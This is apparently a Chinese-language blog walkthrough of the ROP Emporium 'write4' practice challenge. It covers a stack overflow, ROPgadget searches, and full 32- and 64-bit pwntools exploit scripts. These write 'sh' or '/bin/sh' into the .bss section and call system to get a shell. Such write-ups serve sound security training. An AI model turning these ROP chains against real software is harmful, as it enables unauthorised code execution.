write4

ropemporium上的链接
https://ropemporium.com/

32位

checksec后试运行


32位ida


main函数

pwnme函数

发现栈溢出漏洞

再次发现usefulFunction,找到system在plt地址为0x08048430,但是参数不对



shift+F12找字符串,发现没有想要的


那我们就试着把"sh"写进去bss段(好像说data段也行),因为32位是4个字节,不能一次性传入/bin/sh,当然也可以传入/bin/sh,只是要分两次,可以参考
https://www.jianshu.com/p/d385e23b2a94
https://www.jianshu.com/p/d1059b77d018

ida里ctrl+s可以查看data段和bss段的权限


终端时输入命令

ROPgadget --binary write432 --only "mov|pop|ret"


用ROPgadget找到了两条指令

0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret

第一条指令 edi 存的是bss 段的地址,ebp 存的是要写入的数据
第二条指令是指将 ebp 中的内容写到 edi 内存的所在地址

脚本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write432')
p = process('./write432')

system_plt = 0x08048430#system_plt = elf.plt['system']
bss = 0x0804A040#bss = elf.bss()
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670

payload = ''
payload += 0x28*'A'
payload += p32(0)
payload += p32(pop_edi_ebp)
payload += p32(bss)
payload += 'sh\x00\x00'
payload += p32(mov_edi_ebp)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功

64位

64位大同小异
输入命令

ROPgadget --binary write4 --only "mov|pop|ret"

我们选用这两条指令,同时控制r14和r15

0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret

还要用到pop rdi;ret;

0x0000000000400893 : pop rdi ; ret

脚本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write4')
p = process('./write4')

system_plt = elf.plt['system']
bss = elf.bss()
pop_r14_r15 = 0x400890
mov_r14_r15 = 0x400820
pop_rdi = 0x400893

payload = ''
payload += 0x20*'A'
payload += p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += '/bin/sh\x00'
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()
成功

你可能感兴趣的:(write4)